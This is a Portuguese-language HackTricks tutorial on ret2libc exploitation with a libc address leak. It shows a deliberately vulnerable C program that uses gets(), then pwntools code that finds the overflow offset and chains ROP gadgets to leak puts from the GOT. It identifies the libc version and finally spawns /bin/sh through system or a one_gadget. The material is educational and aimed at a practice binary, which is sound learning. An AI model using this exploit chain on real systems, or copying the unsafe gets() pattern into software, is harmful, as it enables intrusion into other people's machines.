.. | ||
README.md | ||
rop-leaking-libc-template.md |
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Adquira o swag oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.
Resumo Rápido
- Encontre o offset do overflow
- Encontre os gadgets
POP_RDI
,PUTS_PLT
eMAIN_PLT
- Use os gadgets anteriores para vazar o endereço de memória do puts ou de outra função libc e encontre a versão da libc (baixe-a)
- Com a biblioteca, calcule o ROP e explore-o
Outros tutoriais e binários para praticar
Este tutorial vai explorar o código/binário proposto neste tutorial: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Outros tutoriais úteis: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
Código
Nome do arquivo: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - Vazando endereço da LIBC
Vou usar o código localizado aqui para fazer o exploit.
Baixe o exploit e coloque-o no mesmo diretório do binário vulnerável e forneça os dados necessários para o script:
{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
1- Encontrando o offset
O modelo precisa de um offset antes de continuar com o exploit. Se nenhum for fornecido, ele executará o código necessário para encontrá-lo (por padrão, OFFSET = ""
):
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
Execute python template.py
uma console GDB será aberta com o programa sendo interrompido. Dentro dessa console GDB execute x/wx $rsp
para obter os bytes que iriam sobrescrever o RIP. Finalmente, obtenha o offset usando uma console python:
from pwn import *
cyclic_find(0x6161616b)
Depois de encontrar o deslocamento (neste caso 40), altere a variável OFFSET dentro do modelo usando esse valor.
OFFSET = "A" * 40
Outra maneira seria usar: pattern create 1000
-- execute until ret -- pattern seach $rsp
do GEF.
2- Encontrando Gadgets
Agora precisamos encontrar gadgets ROP dentro do binário. Esses gadgets ROP serão úteis para chamar puts
para encontrar a libc sendo usada e, posteriormente, lançar o exploit final.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
O PUTS_PLT
é necessário para chamar a função puts.
O MAIN_PLT
é necessário para chamar a função main novamente após uma interação para explorar o estouro novamente (rodadas infinitas de exploração). É usado no final de cada ROP para chamar o programa novamente.
O POP_RDI é necessário para passar um parâmetro para a função chamada.
Nesta etapa, você não precisa executar nada, pois tudo será encontrado pelo pwntools durante a execução.
3- Encontrando a biblioteca LIBC
Agora é hora de encontrar qual versão da biblioteca libc está sendo usada. Para fazer isso, vamos vazar o endereço na memória da função puts
e, em seguida, vamos procurar em qual versão da biblioteca a versão do puts está nesse endereço.
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
Para fazer isso, a linha mais importante do código executado é:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
Isso enviará alguns bytes até que seja possível sobrescrever o RIP: OFFSET
.
Em seguida, definirá o endereço do gadget POP_RDI
para que o próximo endereço (FUNC_GOT
) seja salvo no registro RDI. Isso ocorre porque queremos chamar puts passando o endereço do PUTS_GOT
como o endereço na memória da função puts é salvo no endereço apontado por PUTS_GOT
.
Depois disso, PUTS_PLT
será chamado (com PUTS_GOT
dentro do RDI) para que puts possa ler o conteúdo dentro de PUTS_GOT
(o endereço da função puts na memória) e imprimi-lo.
Finalmente, a função principal é chamada novamente para que possamos explorar o overflow novamente.
Dessa forma, enganamos a função puts para imprimir o endereço na memória da função puts (que está dentro da biblioteca libc). Agora que temos esse endereço, podemos procurar qual versão da libc está sendo usada.
Como estamos explorando um binário local, não é necessário descobrir qual versão da libc está sendo usada (basta encontrar a biblioteca em /lib/x86_64-linux-gnu/libc.so.6
).
Mas, em um caso de exploração remota, explicarei aqui como você pode encontrá-lo:
3.1- Procurando pela versão da libc (1)
Você pode procurar qual biblioteca está sendo usada na página da web: https://libc.blukat.me/
Também permitirá que você baixe a versão descoberta da libc
3.2- Procurando pela versão da libc (2)
Você também pode fazer:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
Isso levará algum tempo, seja paciente.
Para que isso funcione, precisamos de:
- Nome do símbolo da libc:
puts
- Endereço da libc vazada:
0x7ff629878690
Podemos descobrir qual libc é mais provável que esteja sendo usada.
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
Obtemos 2 resultados (deve-se tentar o segundo se o primeiro não funcionar). Baixe o primeiro:
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
3.3- Outras funções para vazar
Copie a libc de libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
para o nosso diretório de trabalho.
puts
printf
__libc_start_main
read
gets
4- Encontrando o endereço base da libc e explorando
Neste ponto, devemos saber qual biblioteca libc está sendo usada. Como estamos explorando um binário local, usarei apenas: /lib/x86_64-linux-gnu/libc.so.6
Portanto, no início de template.py
, altere a variável libc para: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Defina o caminho da biblioteca quando souber
Dando o caminho para a biblioteca libc, o resto da exploração será calculado automaticamente.
Dentro da função get_addr
, o endereço base da libc será calculado:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
{% hint style="info" %} Observe que o endereço base final da libc deve terminar em 00. Se esse não for o seu caso, você pode ter vazado uma biblioteca incorreta. {% endhint %}
Em seguida, o endereço da função system
e o endereço da string "/bin/sh" serão calculados a partir do endereço base da biblioteca libc e fornecidos pela biblioteca libc.
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
Finalmente, o exploit de execução /bin/sh será preparado e enviado:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
Vamos explicar este último ROP.
O último ROP (rop1
) terminou chamando novamente a função principal, então podemos explorar novamente o overflow (é por isso que o OFFSET
está aqui novamente). Em seguida, queremos chamar POP_RDI
apontando para o endereço de "/bin/sh" (BINSH
) e chamar a função system (SYSTEM
) porque o endereço de "/bin/sh" será passado como parâmetro.
Finalmente, o endereço da função exit é chamado para que o processo saia corretamente e nenhum alerta seja gerado.
Desta forma, o exploit executará um shell _/bin/sh_.
4(2)- Usando ONE_GADGET
Você também pode usar o ONE_GADGET para obter um shell em vez de usar system e "/bin/sh". ONE_GADGET encontrará dentro da biblioteca libc alguma maneira de obter um shell usando apenas um endereço ROP.
No entanto, normalmente existem algumas restrições, as mais comuns e fáceis de evitar são como [rsp+0x30] == NULL
. Como você controla os valores dentro do RSP, basta enviar alguns valores NULL a mais para evitar a restrição.
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
ARQUIVO DE EXPLOIT
Você pode encontrar um modelo para explorar essa vulnerabilidade aqui:
{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
Problemas comuns
MAIN_PLT = elf.symbols['main'] não encontrado
Se o símbolo "main" não existir, você pode simplesmente procurar onde está o código principal:
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
e defina o endereço manualmente:
MAIN_PLT = 0x401080
Puts não encontrado
Se o binário não estiver usando Puts, você deve verificar se ele está usando
sh: 1: %s%s%s%s%s%s%s%s: not found
Se você encontrar este erro após criar todos os exploits: sh: 1: %s%s%s%s%s%s%s%s: not found
Tente subtrair 64 bytes do endereço de "/bin/sh":
BINSH = next(libc.search("/bin/sh")) - 64
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
-
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
-
Adquira o swag oficial do PEASS & HackTricks
-
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
-
Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.